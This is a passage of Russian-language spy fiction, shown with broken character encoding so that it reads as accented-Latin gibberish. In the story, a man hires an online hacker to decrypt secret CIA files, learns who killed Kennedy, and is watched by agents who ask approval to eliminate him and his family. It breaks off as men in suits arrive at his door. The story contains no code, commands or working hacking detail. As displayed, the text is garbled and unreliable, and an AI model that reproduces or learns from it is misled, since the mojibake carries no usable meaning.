� Íåóæåëè ÿ íå ìîãó íàéòè â ýòîì ìîðå èíôîðìàöèè õîòü êî-
ãî-íèáóäü, êòî ñìîæåò ïîìî÷ü ìíå ðàçãàäàòü ïðîêëÿòûé
øèôð? ß ìíîãî ÷èòàë îá ýòîì â ãàçåòàõ, ïåðèîäè÷åñêè òàêàÿ
èíôîðìàöèÿ ïðîõîäèò â íîâîñòÿõ. Ãäå-òî æå îíè åñòü, ýòè
õàê-êîìàíäû, êîòîðûå âñåñèëüíû è âñåìîãóùè?!

Ìûñëü ïîãëîòèëà åãî öåëèêîì. Îí ïîäîøåë ê îêíó, îòîä-
âèíóë øòîðó è âíèìàòåëüíî ïîñìîòðåë íà ñïóòíèêîâóþ àí-
òåííó äîìà íàïðîòèâ. Åìó ïîêàçàëîñü, ÷òî îíà íåìåäëåííî
îòðåàãèðîâàëà íà åãî ïîÿâëåíèå è íåìíîãî ïîâåðíóëàñü â
åãî ñòîðîíó.

Îí íåïðîèçâîëüíî îòøàòíóëñÿ çà øòîðó è ïðèæàëñÿ ê ñòå-
íå ðÿäîì ñ îêíîì.

- Âîò æå ñèòóàöèÿ! � ñêâîçü çóáû ñêàçàë îí. � Ëîðà!
Æåíà âîøëà â êîìíàòó è îñòàíîâèëàñü íà ïîðîãå.
- Ëîðà, äîðîãàÿ... Ìíå êàæåòñÿ, ó íàñ åñòü íåáîëüøèå

ïðîáëåìû... - ïðîèçíåñ Áðàéàí è òóò æå ïîæàëåë: åãî âïå÷àò-
ëèòåëüíàÿ æåíà òóò æå ïîáåëåëà è ïðèæàëàñü ê êîñÿêó. � Íè-
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÷åãî ñòðàøíîãî, - îí ïðîòÿíóë åé ðóêó, ïîñïåøèâ óñïîêîèòü.
� Íî ïðîøó òåáÿ íèêóäà èç äîìà íå âûõîäèòü...

- ×òî ñëó÷èëîñü? � âñõëèïíóëà Ëîðà, êîòîðàÿ ðûäàëà ïî
ëþáîìó ïîâîäó.

- Ýòî ñëîæíî îáúÿñíèòü, - ïîäîøåë ïîáëèæå Áðàéàí. � ß
ïîêà ìíîãîãî íå ïîíèìàþ, íî äåëî â ýòîé øòóêå, - îí ìàõíóë
ðóêîé â ñòîðîíó ñòîëà, íà êîòîðîì ñòîÿë êîìïüþòåð. � Êîìó-
òî îíà ñèëüíî íóæíà, è ýòîò êòî-òî èùåò íîóòáóê ñ çàâèäíûì
óïîðñòâîì. Ìíå êàæåòñÿ, îíè � òå, êòî çàíÿò ïîèñêàìè � åùå
òî÷íî íå çíàþò, ãäå îí íàõîäèòñÿ, íî òî, ÷òî îí â ýòîì êâàð-
òàëå, îíè îïðåäåëèëè âåðíî...

Îíè ñåëè íà äèâàí, è Áðàéàí ðàññêàçàë åé, êàê íåäåëþ íà-
çàä ïîñëå óëè÷íîé ïåðåñòðåëêè êîìïüþòåð ïîïàë â åãî ðóêè.
Æåíà íåìåäëåííî ðàçðûäàëàñü â ãîëîñ è óáåæàëà â äåòñêóþ,
ãäå è ïðîñèäåëà â îáíèìêó ñ ìàëûøíåé áîëüøå ÷àñà. Áðàéàí
æå, ïîíÿâ, ÷òî æåíà åìó íå ïîìîùíèê, ïîäíÿë òåëåôîííóþ
òðóáêó è ïðèãëàñèë ê ñåáå äîìîé ìàñòåðà èç òåëåôîííîé
êîìïàíèè.

×åðåç ïàðó ÷àñîâ ó íåãî äîìà áûëî âûñîêîñêîðîñòíîå ñî-
åäèíåíèå. Ìàñòåð îáúÿñíèë åìó, ÷òî òàêîå ADSL, ïðåïîäíåñ
åìó ìàëåíüêèé óðîê íà òåìó "×òî òàêîå Âñåìåðíàÿ ïàóòèíà è
êàê åé ïîëüçîâàòüñÿ", ñîáðàë èíñòðóìåíòû è óøåë. Áðàéàí
æå, ñ ïàðó ìèíóò íåïîäâèæíî ïðîñèäåâ íàä íîóòáóêîì ñëîâ-
íî â ìåäèòàöèè, ïðèñòóïèë ê ïîèñêó.

Äîâîëüíî áûñòðî îí íàøåë íåñêîëüêî ñàéòîâ õàê-êîìàíä,
êîòîðûå ðåêëàìèðîâàëè ñåáÿ è ñâîè ïðîäóêòû. Îäíàêî ñðàçó
æå âûÿñíèëîñü, ÷òî ýòè ñàéòû íå îáíîâëÿëèñü äîâîëüíî äîë-
ãîå âðåìÿ, ÷òî îáðàòíàÿ ñâÿçü ñ íèìè ïîòåðÿíà è ëþäè íà òîì
êîíöå Ñåòè íå îòêëèêàþòñÿ íà çàïðîñû.

- Áèçíåñ, êîíå÷íî, êðèìèíàëüíûé, - áîðìîòàë Áðàéàí, ÷è-
òàÿ ñòðàíèöû, íà êîòîðûõ îòîáðàæàëàñü èñòîðèÿ òåõ, êòî
óìåë âçëàìûâàòü ñàéòû, äîñòàâàòü ïàðîëè è äåëàòü åùå ìíî-
ãî ðàçíîé îáùåñòâåííî âðåäíîé åðóíäû, ëèøü áû çà íåå
ïëàòèëè äåíüãè. � Íî âñå-òàêè ìîæíî æå êàê-òî èìåòü ñâÿçü ñ
òåìè, êòî õî÷åò ê òåáå îáðàòèòüñÿ. Ãäå æå íàéòè õîòü îäèí
æèâîé êîíòàêò?

Èíîãäà îí ïðîñòî ÷óâñòâîâàë, êàê àíòåííà çà îêíîì ñâåð-
ëèò åìó ñïèíó. ×åðåç ïàðó ÷àñîâ ïîäîáíûõ îùóùåíèé îí
âñòàë è çàâåñèë îêíî â êîìíàòå îäåÿëîì. Ïðàâäà, îí åùå ñó-
ìåë ïðèçíàòüñÿ ñàìîìó ñåáå â òîì, ÷òî ýòî ïîëíàÿ ÷óøü, íî
åäâà îäåÿëî ïðèêðûëî ñòåêëî, êàê ÷óâñòâî ñëåæåíèÿ ñî ñòî-
ðîíû òóò æå èñ÷åçëî. Áðàéàí ïðèñëóøàëñÿ ê ñâîèì îùóùå-
íèÿì è óäîâëåòâîðåííî êèâíóë, ïîñëå ÷åãî ïðîäîëæèë ñâîè
ïîèñêè.

Îí íå çàìåòèë, êàê ñòåìíåëî. Æåíà ïðîêðàëàñü â êîìíàòó,
ïîñòîÿëà ðÿäîì, âêëþ÷èëà ñâåò è ïîïûòàëàñü âçãëÿíóòü â
ãëàçà ìóæà, ÷òîáû ïîíÿòü, ÷òî æå ïðîèñõîäèò, íî â óæàñå îò-
øàòíóëàñü � Áðàéàí áûë ñîâñåì íå çäåñü. Îí íå ìîã îòîðâàòü
âçãëÿä îò ýêðàíà. Èíîãäà åìó êàçàëîñü, ÷òî îí âîò-âîò ïðèá-
ëèçèòñÿ ê öåëè, íî ïîèñêè íå äàâàëè ðåçóëüòàòà. Ëîðà âûøëà
òàê æå òèõî, êàê è âîøëà. Äåòè óæå ñïàëè. Âûõîäÿ, îíà êèíó-

ëà âçãëÿä íà îäåÿëî íà îêíå è âíåçàïíî îùóòèëà êàêóþ-òî
áîëü: ñ ìóæåì ÿâíî ïðîèñõîäèëî ÷òî-òî íåíîðìàëüíîå.

- Òîëüêî áû íå ñëó÷èëîñü íè÷åãî ñòðàøíîãî... - ïðîøåïòà-
ëà îíà. � Õîòÿ, êàæåòñÿ, âñå, ÷òî ìîãëî ñëó÷èòüñÿ, óæå ñëó-
÷èëîñü.

Òåì âðåìåíåì Áðàéàí, ñîâåðøåííî íå îáðàùàÿ âíèìàíèÿ
íà ñâîþ æåíó, ñóìåë âûéòè íà ñàéò, ðåêëàìèðóþùèé óñëóãè
÷åëîâåêà, çàíèìàþùåãîñÿ êðèïòîãðàôèåé. Èçó÷èâ "ïîñëóæ-
íîé ñïèñîê", âûñòóïàþùèé â êà÷åñòâå ðåêëàìû íà çàãëàâíîé
ñòðàíèöå, Áðàéàí îòïðàâèë åìó ïèñüìî. 

Îòâåò ïðèøåë íåîæèäàííî áûñòðî � ìèíóò ÷åðåç ïÿòíàä-
öàòü. Ê òîìó âðåìåíè Áðàéàí óñïåë âûïèòü åùå ïàðó áàíîê
ïèâà, êîòîðûå âëèâàë â ñåáÿ ïðàêòè÷åñêè íå çàáîòÿñü î òîì,
÷òîáû ãëîòàòü. Â ãîëîâå óæå ïðèÿòíî øóìåëî; ïàëüöû ðóê
ïåðèîäè÷åñêè ñæèìàëèñü â êóëàêè, îí øèðîêî øàãàë ïî êîì-
íàòå, âðàùàÿ ãîëîâîé è ðàçìèíàÿ çàòåêøóþ øåþ.

Êîãäà ïèêíóë çâóê ïðèøåäøåé ïî÷òû, Áðàéàí ìåòíóëñÿ ê
êîìïüþòåðó. ×óòü ñëûøíî øåâåëÿ ãóáàìè, îí ïðî÷èòàë îò-
âåò. Åãî ïðîñèëè ïðèñëàòü õîòü êàêîé-íèáóäü ôðàãìåíò òåêñ-
òà, êîòîðûé òðåáîâàëîñü ðàñøèôðîâàòü. Íåäîëãî äóìàÿ,
Áðàéàí ïðèêðåïèë ê ïèñüìó ôàéë, âçÿòûé íàóãàä, è îòïðàâèë
åãî. Ñïóñòÿ ìèíóòó åãî ïîïðîñèëè ïîäîæäàòü � ñêîëüêî, íå
óòî÷íèëè. Âìåñòî ýòîãî ê ïèñüìó áûë ïðèëîæåí ïðàéñ íà óñ-
ëóãè êðèïòîãðàôà è äàííûå î ñ÷åòå, íà êîòîðûé íàäî áóäåò
ïåðåâåñòè äåíüãè â ñëó÷àå óñïåõà.

Áðàéàí èçó÷èë ïðàéñ, ïðèñâèñòíóë, íî, îòêðûâ î÷åðåäíóþ
áàíêó ñ ïèâîì, óæå áûë ãîòîâ çàïëàòèòü è ïîáîëüøå. Êóäà â
íåì ïîäåâàëîñü âñå, ïðèñóùåå ñòîïðîöåíòíîìó àìåðèêàíöó,
êóäà ïðîïàëî æåëàíèå ñëóæèòü îáùåñòâó, áûòü ÷åñòíûì,

èñêðåííèì, ïðåäàííûì ñâîåé ñòðàíå? Ïëåâàòü îí õîòåë 
íà âñå!

Â íåì âçûãðàëà êàêàÿ-òî ñìåëîñòü, îí âçÿë îñòàâøèåñÿ
äâå áàíêè è âûøåë íà âåðàíäó. Êðåñëî-êà÷àëêà åãî óæå íå
óñòðàèâàëî. Îí ñïóñòèëñÿ ïî ñòóïåíüêàì íà ãàçîí, îòêðûë ïè-
âî, ñäåëàë íåñêîëüêî áîëüøèõ ãëîòêîâ, ïëåñíóâ ñåáå íà ôóò-
áîëêó, è îòïðàâèëñÿ íà äîðîãó. Äî äîìà ñ àíòåííîé áûëî
ïðèìåðíî ìåòðîâ ñåìüäåñÿò. Îí ìåäëåííî øåë, ðàçãëÿäûâàÿ
öâåòíèêè ïî îáå ñòîðîíû ïðîåçæåé ÷àñòè, ïðè ýòîì ñòàðàÿñü
íå óïóñòèòü íè÷åãî âîêðóã, ÷òî íàâîäèëî áû íà ìûñëü î
ñëåæêå.

Âîò êàêàÿ-òî ïîäîçðèòåëüíàÿ ìàøèíà íà ïðîòèâîïîëîæ-
íîé ñòîðîíå � êîìó-òî ïðèâåçëè ïèööó, íî ïî÷åìó-òî â ìàøè-
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Äîâîëüíî áûñòðî îí íàøåë
íåñêîëüêî ñàéòîâ õàê-êîìàíä,
êîòîðûå ðåêëàìèðîâàëè ñåáÿ

è ñâîè ïðîäóêòû.



íå íèêîãî íåò è íèêòî íå âûõîäèò èç äîìîâ, ÷òîáû óåõàòü... À
ìîæåò, çäåñü æèâåò ñàì ðàçíîñ÷èê ïèööû? Áðàéàí ìàõíóë
ðóêîé è ïðèíÿëñÿ èçó÷àòü îáñòàíîâêó äàëüøå.

Ëîðà ñìîòðåëà íà íåãî, ñëåãêà ïðèîòêðûâ çàêðûòîå îäåÿ-
ëîì îêíî. Íà óëèöå óæå ñãóùàëèñü ñóìåðêè; ôèãóðà Áðàéàíà
áûëà ïëîõî ðàçëè÷èìà, ïðèõîäèëîñü âñìàòðèâàòüñÿ â òåìíî-
òó, ÷òîáû ïîíÿòü, ãäå æå ìóæ, êóäà îí íàïðàâëÿåòñÿ è çà÷åì.
Áðàéàí âåë ñåáÿ äîñòàòî÷íî íàãëî: îí ïîäõîäèë ê ìàøèíàì,
ñòîÿùèì íà îáî÷èíàõ, çàãëÿäûâàë âíóòðü, ïðèæèìàÿ ëàäîíè
ê ñòåêëó, ðàçìàõèâàë ðóêàìè, ñëîâíî ðàçãîâàðèâàÿ ñàì ñ ñî-
áîé. Îäèí ðàç äàæå ñðàáîòàëà ñèãíàëèçàöèÿ íà àâòîìîáèëå
ñîñåäåé, è òîëñòûé äÿäüêà, êîòîðîãî îíè ñ Áðàéàíîì âñåãäà
íåäîëþáëèâàëè, âûñêî÷èë íà êðûëüöî è ïðèíÿëñÿ ðóãàòüñÿ ñ
ìóæåì, îäíàêî Áðàéàí òîëüêî ìàõíóë åìó ðóêîé è ïîøåë
äàëüøå. Ïóòü åãî ëåæàë ê äîìó, íà êîòîðîì áûëà çàêðåïëåíà
ñïóòíèêîâàÿ àíòåííà.

Çà ñïèíîé Ëîðû ïèêíóë êîìïüþòåð. Îíà ïðåêðàòèëà íàá-
ëþäàòü çà ìóæåì, ïîäîøëà ê íîóòáóêó è îòêðûëà ïðèøåäøåå
ïèñüìî. Íà÷àâ ÷èòàòü ñòîÿ, îíà âíåçàïíî îïóñòèëàñü íà ñòóë,
áóäòî íîãè ïåðåñòàëè äåðæàòü åå. Îíà òàê æå, êàê è Áðàéàí,
øåâåëèëà ãóáàìè, â÷èòûâàÿñü â ñòðîêè; òåêñò ïîñòåïåííî
ïðèâîäèë åå â óæàñ.

Äî÷èòàâ äî êîíöà, îíà âñêî÷èëà è ïîáåæàëà çà Áðàéàíîì.

*   **   **   **   **
"...Ñèòóàöèÿ, êîòîðàÿ íå ïðîðàáàòûâàëàñü ñïåöèàëüíîé

ñëóæáîé, � ýòî ïîïûòêà îáúåêòà âñòóïèòü â êîíòàêò ñ ãðóïïîé
íàáëþäåíèÿ. Ñåãîäíÿ ýòà ïîïûòêà áûëà âíåçàïíî îáíàðóæå-
íà è ñòîëü æå âíåçàïíî ïðåðâàíà æåíîé îáúåêòà, îäíàêî
ñ÷èòàþ íóæíûì äîëîæèòü, ÷òî íà ýòîò ñ÷åò íåò íèêàêèõ

èíñòðóêöèé. Òàêæå äîêëàäûâàþ, ÷òî àíàëèòèêè ãðóïïû ñ÷èòà-
þò, ÷òî êîíòàêòû îáúåêòà, êîòîðûå îòñëåæåíû ÷åðåç èíòåð-
íåò, ïîçâîëÿþò ñäåëàòü âûâîä îá èõ ÷åòêîé íàïðàâëåííîñ-
òè � ïîèñê êðèïòîãðàôà. Ïðåäïîëàãàåòñÿ ñ âåðîÿòíîñòüþ
98%, ÷òî îáúåêò, íà÷àâ ïîäîáíóþ äåÿòåëüíîñòü, äîáüåòñÿ
ïîëîæèòåëüíîãî ðåçóëüòàòà... Âîçìîæíîñòü âûõîäà ñèòóàöèè
èç-ïîä êîíòðîëÿ êðàéíå âûñîêà. Ïðîøó ïîäðîáíûõ èíñòðóê-
öèé íà ýòîò ñëó÷àé, òàêæå òðåáóþ ðàñøèðåíèé ïîëíîìî÷èé
äëÿ ôèçè÷åñêîãî óñòðàíåíèÿ îáúåêòà..."

*   **   **   **   **
Ëîðà äîãíàëà Áðàéàíà óæå ó ñàìîé êàëèòêè. Îí ñòîÿë,

çàïðîêèíóâ ãîëîâó è âûñàñûâàÿ ïîñëåäíèå êàïëè èç ïîñëåä-
íåé áàíêè. Ïèâî êîí÷èëîñü, è âìåñòå ñ íèì âíåçàïíî ïîêèíó-
ëà Áðàéàíà ðåøèìîñòü âîéòè òóäà, çà îãðàæäåíèå. Â äîìå íå
ãîðåë ñâåò. Êàçàëîñü, òàì ïðîñòî íèêîãî íåò.

Âîçìîæíî, òàê îíî è áûëî. Áðàéàí âçäîõíóë, è â ýòî âðå-
ìÿ Ëîðà ïîëîæèëà ðóêó åìó íà ïëå÷î. Îí âçäðîãíóë è îòñêî-
÷èë â ñòîðîíó.

- Òàì òåáå ïðèøëî ïèñüìî... - òèõî ñêàçàëà æåíà. � Èçâè-
íè, íî ÿ åãî ïðî÷èòàëà. Ïî-ìîåìó, òåáå ñòîèò âçãëÿíóòü íà
íåãî êàê ìîæíî áûñòðåå.

Áðàéàí âûñëóøàë æåíó, îãëÿíóëñÿ íà äîì, êîòîðûé áûë
åãî öåëüþ, ïîòîì êèâíóë è ïîøåë íàçàä. Ëîðà íå óñïåâàëà
çà íèì.

Ïèñüìî áûëî òàì, ãäå åãî îñòàâèëà Ëîðà. Îòêðûòîå ïîñðå-
äè ýêðàíà. Áðàéàí îïåðñÿ ðóêàìè íà êðàé ñòîëà è ñòàë ÷èòàòü.

- "Ðàáîòà ñëîæíàÿ. È îïàñíàÿ. Ñóäÿ ïî òîìó ôàéëó, ÷òî ÿ
ïîëó÷èë, òåêñò ïðèíàäëåæèò êàêîìó-òî ïðàâèòåëüñòâåííîìó
ó÷ðåæäåíèþ. Ñêîðåå âñåãî, ÖÐÓ èëè ìèíèñòåðñòâî îáîðîíû.
Ïðåäïîëàãàþ, ÷òî òàêèå äîêóìåíòû ïðîñòî òàê ê ïðîñòûì ëþ-
äÿì íå ïîïàäàþò. Ëèáî òû ïðîâåðÿåøü íîâóþ ñèñòåìó øèô-
ðîâàíèÿ è ðàáîòàåøü â Ëýíãëè, ëèáî òû äóðàê. ß âûïîëíþ
ýòó ðàáîòó. Áûñòðî. Èìåþ íàâûê. Òû ãîòîâ ïëàòèòü? Åñëè äà,
òî ïðèøëè åùå òðè ôàéëà ïîäîáíîãî ðîäà � äëÿ âåðîÿòíîñò-
íîãî àíàëèçà. Ïîëó÷åíèå ýòèõ ôàéëîâ ðàñöåíþ êàê ñîãëàñèå.

À êàê äîêàçàòåëüñòâî ñâîåãî óìåíèÿ, ïðèêðåïëÿþ òåáå ðàñ-
øèôðîâàííûé (óæå!) çàãîëîâîê äîêóìåíòà. Êàê âèäèøü,
"øàïêà" ïðàâèòåëüñòâåííàÿ. ß òàêîãî íà ñâîåì âåêó ìíîãî
ïåðåâèäàë, ïîâåðü íà ñëîâî. Èòàê, ÿ îíëàéí. Æäó".

- Âîò òàê ïîâîðîò... Õîòÿ ÿ ïîäîçðåâàë, ÷òî äîêóìåíòû, ñî-
äåðæàùèåñÿ çäåñü, ìîãóò ïðèâåñòè ìåíÿ ÷åðò çíàåò êóäà, -
Áðàéàí, ïðî÷èòàâ ïèñüìî, ïðèñåë è çàäóìàëñÿ. � ×òî æå ýòî
ìîæåò áûòü? ×òî-íèáóäü ïðî Ëóíó? Èëè ïðî èíîïëàíåòÿí?
Êàê-òî íà óì áîëüøå íè÷åãî íå ïðèõîäèò...

Ëîðà ñòîÿëà â ñòîðîíå è æäàëà, êàêîå ðåøåíèå ïðèìåò
ìóæ. Áðàéàí äóìàë. Âñå øëî ê òîìó, ÷òî îí âëåçàåò â êà-
êèå-òî ïðàâèòåëüñòâåííûå ñåêðåòû. Îí íèêîãäà íå äóìàë,
÷òî ýòî ìîæåò áûòü íàñòîëüêî çàìàí÷èâî è âîëíèòåëüíî.
Åìó âîîáùå íèêîãäà íå ïðèõîäèëî â ãîëîâó, ÷òî îí ìîæåò
îêàçàòüñÿ â ïîäîáíîé ñèòóàöèè. Âñïîìèíàëñÿ ñðàçó "Âîñ-
õîä Ìåðêóðèÿ" ñ Áðþñîì Óèëëèñîì â ãëàâíîé ðîëè, î ìàëü-
÷èêå, ñëó÷àéíî ðàçãàäàâøåì ñóïåðøèôð è îêàçàâøåìñÿ
èç-çà ýòîãî â îïàñíîñòè. Âðÿä ëè âñå, ÷òî ïðîèñõîäèò ñåé-
÷àñ, ïîõîæå íà ñöåíàðèé ôèëüìà. Ñêîðåå, âñå îêàæåòñÿ ãî-
ðàçäî çàïóòàííåå è óæàñíåå.

Îí âûáðàë â ìåíþ ïóíêò "Îòâåòèòü", ïðèêðåïèë ê ïèñüìó
åùå òðè âçÿòûå íàóãàä ôàéëà è îòïðàâèë, ïîñëå ÷åãî âíèìà-
òåëüíî èçó÷èë áàíêîâñêèå äàííûå è ïåðåâåë íà ñ÷åò íåèçâå-
ñòíîãî õàêåðà íóæíóþ ñóììó. Æåíà ìîë÷à ïðîâîäèëà êàíóâ-
øèå â Ñåòü äåíüãè ãðóñòíûì âçãëÿäîì è ïîíÿëà, ÷òî ìóæ ïðè-
íÿë îêîí÷àòåëüíîå ðåøåíèå: îí áóäåò æäàòü ðàñøèôðîâêè
äîêóìåíòîâ. Îñîçíàâ ýòî, îíà óøëà â ñïàëüíþ, ëåãëà ïîâåðõ
ïîêðûâàëà è ïðèíÿëàñü æäàòü � òàê æå, êàê è îí.

Áðàéàí íå ïðåäïîëàãàë, íàñêîëüêî ìîæåò çàòÿíóòüñÿ ïî-
äîáíàÿ ðàáîòà. Ìîã ïðîéòè ÷àñ, äåíü, íåäåëÿ... Îí ñèäåë çà
êîìïüþòåðîì, òóïî ãëÿäÿ ïåðåä ñîáîé è îáõâàòèâ ãîëîâó ðó-
êàìè. Îí äóìàë î òîì, íàñêîëüêî èçìåíèëàñü åãî æèçíü, íàñ-
êîëüêî èçâðàòèëèñü åãî ïðèíöèïû ÷åñòíîñòè, åäâà îí ñîïðè-
êîñíóëñÿ ñ òàéíîé. Íå ïðîñòî ñ òàéíîé, à ñ òåì, ÷òî ÷åëîâåê,
îòäàâøèé åìó íîóòáóê, íàçâàë "Âåëè÷àéøåé òàéíîé Àìåðè-
êè"... Êàê òîëüêî ýòà øòóêà âîøëà â åãî æèçíü, åãî òóò æå îê-
ðóæèëè øïèîíû, íàáëþäàòåëè, òåõíèêà ïîäñëóøèâàíèÿ, ó íå-
ãî ïîÿâèëñÿ èíòåðíåò, îí ñòàë îáùàòüñÿ ñ õàêåðàìè è òðàòèòü
íà èõ óñëóãè äåíüãè... È îí ïîçàáûë î æåíå, ñòàë ïèòü ìíîãî
ïèâà, è ïðîäàæè íà ðàáîòå ïîøëè î÷åíü è î÷åíü ïëîõî.

Íî çàòî îí áûë â øàãå îò ðàñêðûòîé òàéíû.
...Ïðîñíóëñÿ îí óòðîì îò ïåðâûõ ëó÷åé ñîëíöà, êîòîðûå

ïðîáèëèñü èç-ïîä îòîãíóòîãî æåíîé êðàÿ îäåÿëà. Áðàéàí ñàì
íå çàìåòèë, êàê óñíóë âîçëå êîìïüþòåðà, ñëîæèâ ãîëîâó íà
ðóêè. Íî÷ü ïðîëåòåëà áûñòðî, áåç ñíîâèäåíèé; îí ïîòÿíóëñÿ,
ïîãëàäèë ùåêó, íà êîòîðîé ñïàë, ïðîòåð ãëàçà è ñîáèðàëñÿ
áûëî ïîéòè â ñïàëüíþ è ïîñïàòü åùå (áëàãî ñåãîäíÿ áûë âû-
õîäíîé), êàê âäðóã îáðàòèë âíèìàíèå, ÷òî íà ýêðàíå ãîðèò
çíà÷îê ïðèøåäøåãî ïèñüìà.

Ñîí êàê ðóêîé ñíÿëî. Îí ïàðó ðàç õëîïíóë ñåáÿ ïî ùåêàì
è òêíóë óêàçàòåëåì â ïèñüìî.

- "Ðàáîòà ñäåëàíà. Øèôð ñëîæíûé, îäíàêî ìîé îïûò ìíå
ïîìîã, áûëè êîå-êàêèå íàðàáîòêè â ýòîì íàïðàâëåíèè. Îòï-
ðàâëÿþ òåáå íàçàä òâîè ôàéëû â òîì âèäå, â êàêîì îíè áû-
ëè. Ê ïèñüìó êðîìå íèõ ïðèëîæåíà ïðîãðàììà äëÿ ðàñøèô-
ðîâêè ïîäîáíûõ ôàéëîâ. Íàïîìèíàåò îáû÷íûé "Áëîêíîò":
îòêðûâàåøü åãî è ïåðåòàñêèâàåøü ôàéë ïðÿìî íà ïóñòîå
ìåñòî â îêíå. Äàëüøå � äåëî òåõíèêè. Åñëè ïîïàäóòñÿ ôàé-
ëû, çàøèôðîâàííûå ïî äðóãîìó ïðèíöèïó, ïðîãðàììà âûäàñò
ñîîáùåíèå îá îøèáêå.

ß ïðîâåðèë ñâîé ñ÷åò: äåíüãè ïîÿâèëèñü. Òû âûïîëíèë
ñâîå îáåùàíèå, ÿ âûïîëíèë ñâîå. Òåïåðü î ñàìîì ãëàâíîì. ß
ïðî÷èòàë òå ôàéëû, êîòîðûå ñóìåë ðàñøèôðîâàòü, è òåïåðü
ÿ äóìàþ, ÷òî äîëãî íå ñìîãó çàñíóòü. Ðåêîìåíäàöèÿ ó ìåíÿ
áóäåò òàêàÿ: ÷åì ìåíüøå ôàéëîâ òû ïðî÷èòàåøü, òåì ëó÷øå
äëÿ òåáÿ. ÍÎ � ÅÑËÈ ÍÅ ÆÀËÊÎ, ÏÐÈØËÈ ÌÍÅ ÅÙÅ. ×åðò ïî-
áåðè, ãäå òû âñå ýòî áåðåøü?

Óäà÷è".
Áðàéàí ïðî÷èòàë ïèñüìî äâà ðàçà, ïîòîì ïðîâåðèë âëîæå-

íèÿ, íàøåë ïðîãðàììó, çàïóñòèë è ïåðåòàùèë íà ðàñêðûòîå
îêíî îäèí èç ïðèëîæåííûõ ôàéëîâ. Ïî ýêðàíó ïîáåæàëè êà-
êèå-òî êîñûå ïîëîñû, "ìûøêà" ïåðåñòàëà îòâå÷àòü íà äâè-
æåíèÿ ðóêè. Ñïóñòÿ äåñÿòü-ïÿòíàäöàòü ñåêóíä âñå ýòî ïðåê-
ðàòèëîñü. Â îêíå áûë ãîòîâûé òåêñò.
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òû ïðî÷èòàåøü, òåì ëó÷øå 

äëÿ òåáÿ.



Áðàéàí íà÷àë â÷èòûâàòüñÿ â ñòðî÷êè, ñëåäóþùèå ïîä
øàïêîé ÖÐÓ. Ïîòîì îí îòêðûë ñëåäóþùèé ôàéë, ïîòîì åùå
è åùå. Âñþäó ñòîÿë ãðèô "Ñîâåðøåííî ñåêðåòíî. Â åäèí-
ñòâåííîì ýêçåìïëÿðå". Êàæäûé äîêóìåíò áûë ïîäïèñàí èìå-
íàìè, êîòîðûå íèêîãäà íå çâó÷àëè ñ ýêðàíîâ òåëåâèçîðà è íå
ïå÷àòàëèñü íà ñòðàíèöàõ ãàçåò, îäíàêî âíèçó ñòîÿëà âñåãäà
ðåçîëþöèÿ äèðåêòîðà ÖÐÓ. Ïðîòèâ òàêîãî èìåíè ñêàçàòü áû-
ëî íå÷åãî.

Ïîõîæå, êòî-òî îòñêàíèðîâàë âñå ýòè äîêóìåíòû è ñîçäàë
òåêñòîâûå ôàéëû, à èíà÷å êàê ìîæíî áûëî îáúÿñíèòü, ÷òî
âñå ýòè ôàéëû äàòèðîâàíû â òåêñòå øåñòèäåñÿòûìè ãîäàìè è
÷òî ïðèíöèï ñóùåñòâîâàíèÿ äîêóìåíòà â åäèíñòâåííîì ýêçå-
ìïëÿðå íàðóøåí. Áðàéàí ÷èòàë, ïîçàáûâ î ãîëîäíîì æåëóä-
êå, æåíå, êîòîðàÿ äàâíî âñòàëà, íî ïî÷åìó-òî íå âõîäèëà ê
íåìó â êîìíàòó, î ñïóòíèêîâûõ àíòåííàõ è íàáëþäàòåëÿõ. Åãî
ïîãëîòèë ìèð ñåêðåòîâ è òàéí.

È êîãäà îí ïðî÷èòàë îêîëî ñòà èëè áîëåå äîêóìåíòîâ, òî
ïîíÿë, ïî÷åìó òîò ÷åëîâåê íàçâàë âñå ýòî âåëè÷àéøåé òàé-
íîé Àìåðèêè.

Ïîòîìó ÷òî òåïåðü Áðàéàí òî÷íî çíàë, êòî óáèë Êåííåäè.

*   **   **   **   **
"...Êîíòàêò óñòàíîâëåí è îòñëåæåí. Ãðóïïà îòïðàâëåíà.

Ñ÷èòàþ, ÷òî èíôîðìàöèÿ â íàñòîÿùèé ìîìåíò íå óñïåëà
ðàñïðîñòðàíèòüñÿ. Óíè÷òîæåíèå êîíòàêòà ñàíêöèîíèðîâàíî.
Îòñëåæèâàåòñÿ ñåòåâàÿ àêòèâíîñòü îáúåêòà � â äàííûé ìî-
ìåíò âðåìåíè íóëåâàÿ. Ïðîøó äîïîëíèòåëüíûõ ñàíêöèé è
ðàñøèðåíèÿ èíñòðóêöèè "Ëåìóð" ïî îòíîøåíèþ ê îáúåêòó è
åãî ñåìüå..."

*   **   **   **   **
Ëîðà âûøëà ê íåìó, êîãäà îí óæå ïî÷òè çàêîí÷èë. Òåêñ-

òîâ îêàçàëîñü íå òàê óæ è ìíîãî, îí óëîæèëñÿ â òðè ñ ïîëî-
âèíîé ÷àñà. Îñòàëüíûå ôàéëû ðàñøèôðîâêå íå ïîääàëèñü,
äà îí è íå ñìîã áû îñèëèòü âñþ ýòó èíôîðìàöèþ. Ãëàçà íåñ-
òåðïèìî áîëåëè, ëàäîíü íà "ìûøêå" áûëà ìîêðîé îò ïîòà.

- Ëîðà... - ñêàçàë Áðàéàí, íå îòðûâàÿñü îò ìîíèòîðà. � ß
äóìàþ, ÷òî ìû áóäåì î÷åíü, î÷åíü áîãàòûìè... Âîò òîëüêî íà-
äî ðåøèòü, êàê âñå ýòî ìîæíî ïðîäàòü...

- Áðàéàí, - ñêàçàëà Ëîðà, - ïîäóìàé, ïðåæäå ÷åì ÷òî-òî
äåëàòü ñ òîé èíôîðìàöèåé, ÷òî äîñòàëàñü òåáå. Ìû � â Àìå-
ðèêå. Çäåñü î÷åíü íå ëþáÿò, êîãäà òàéíû ïðàâèòåëüñòâà âûï-
ëûâàþò íàðóæó.

- Ýòà òàéíà äîðîãîãî ñòîèò, - ïðîøåïòàë Áðàéàí. � Ïîâåðü
ìíå...

Â äâåðü ïîñòó÷àëè.
Áðàéàí ìàøèíàëüíî çàêðûë êðûøêó íîóòáóêà è íàêðûë

åãî ñâåðõó æóðíàëîì. Ïîòîì âñòàë è ïîäîøåë ê äâåðè.
Òàì, íà âåðàíäå, ñòîÿë ÷åëîâåê â ÷åðíîì êîñòþìå. Íèæå,

íà ñòóïåíüêàõ, áûë åùå îäèí � îí íåïðåðûâíî îãëÿäûâàëñÿ
ïî ñòîðîíàì è äåëàë ÷òî-òî êîí÷èêîì óêàçàòåëüíîãî ïàëüöà
